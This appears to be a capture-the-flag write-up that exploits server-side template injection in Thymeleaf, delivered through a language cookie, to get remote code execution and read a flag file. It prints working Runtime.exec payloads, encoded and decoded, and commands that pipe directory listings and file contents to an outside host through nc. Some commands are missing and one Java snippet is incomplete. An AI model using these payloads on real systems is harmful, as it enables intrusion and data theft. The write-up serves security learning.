Localization is hard


To solve this challenge we had to exploit a SSTI on Thymeleaf and lead that into a Remote Code Execution


Discovering the vulnerability

The challenge description talk about a Coffee who made for CTFers and in English and in Russian.

CTF description

Btw , the challenge description tell us that the flag should be located at / on the file system, this maybe mean that we have to get an access to the machine to read the flag.

By inspecting the website we can read that the language can be choosed by clicking on a button. (onclick event), then the set_language(lang) function will be executed

(quick look into the /js/templatemo-script.js)

function set_language(lang) {
  document.cookie = "lang=" + lang;

the function set a cookie lang with en or ru

trying a path traversal “../flag/"

curl --cookie "lang=en"

responseorg.thymeleaf.exceptions.TemplateInputException” by googling this error message, we find : thymeleaf . This a modern server-side Java template engine for both web and standalone environments.


Find out about this Template-Engine

Assuming Thymeleaf as a template engine , we can think about a Server-side template injection. So searching about SSTI on this template engine » https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/ » https://www.veracode.com/blog/secure-development/spring-view-manipulation-vulnerability » https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#thymeleaf-java


To attempt an SSTI in Thymeleaf, we first must understand expressions that appear in Thymeleaf attributes. Thymeleaf expressions can have the following types:

${...}: Variable expressions – in practice, these are OGNL or Spring EL expressions. *{...}: Selection expressions – similar to variable expressions but used for specific purposes. #{...}: Message (i18n) expressions – used for internationalization. @{...}: Link (URL) expressions – used to set correct URLs/paths in the application. ~{...}: Fragment expressions – they let you reuse parts of templates.

  • __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
  • __${T(java.lang.Runtime).getRuntime().exec("whoami")}__::.x

According Acunetix. However, as we mentioned before, expressions only work in special Thymeleaf attributes. If it’s necessary to use an expression in a different location in the template, Thymeleaf supports expression inlining. To use this feature, you must put an expression within [[...]] or [(...)] (select one or the other depending on whether you need to escape special symbols). Therefore, a simple SSTI detection payload for Thymeleaf would be [[${7*7}]].

So let’s try on the site cookie to check the RCE __%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7D__%3A%3A.x

response 500 We don’t have the stdout in the response but we always have a 500 response.

It’s maybe blind based, so let’s try to sleep. sleep server It’s work !

So now, we understand that : when we got org.thymeleaf.exceptions.TemplateInputException this mean that the command is executed, but when we send a bad command or a non-urlencoded payload we got java.lang.IllegalArgumentException


Connect to our machine

We tried firstly to do a simple tcp reverse shell with


But nothing… So let’s try to wget a nc binary on our machine


and now try to bind shell our machine.. receive connexion Bingo ! We got a connexion from the machine, but nothing in the output.

Getting a shell environment from Runtime.exec

According code white The command passed to Runtime.exec is not executed by a shell. Instead, if you dig down though the Java source code, you’ll end up in the _UNIX process class, which reveals that calling Runtime.exec results in a fork and exec call on Unix platforms.


import java.io.*;

public class Exec {

   	public static void main(String[] args) throws IOException {
   			Process p = Runtime.getRuntime().exec(args[0]);
   			byte[] b = new byte[1];

   			while (p.getErrorStream().read(b) > 0)

   			while (p.getInputStream().read(b) > 0)


We call this class as shown below with single quotes around the command line to ensure that our shell passes the command line argument to Java as is:

$ java Exec ‘command arg1 arg2 …’ So let’s try to use this to read our flag : __%24%7Bnew%20java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22sh%20-c%20%24%40%7Csh%20.%20echo%20ls%20-la%20%2F%7C%20nc%20ip%201337%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3A.x

url decoded payload __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("sh -c $@|sh . echo ls -la /| nc ip 1337").getInputStream()).next()}__::.x

ls -la

Now cat the flag : __%24%7Bnew%20java.util.Scanner%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22sh%20-c%20%24%40%7Csh%20.%20cat%20%2Ftry_find_me.txt%7C%20nc%20ip%201337%22%29.getInputStream%28%29%29.next%28%29%7D__%3A%3A.x



Cheers, @0x22sh =)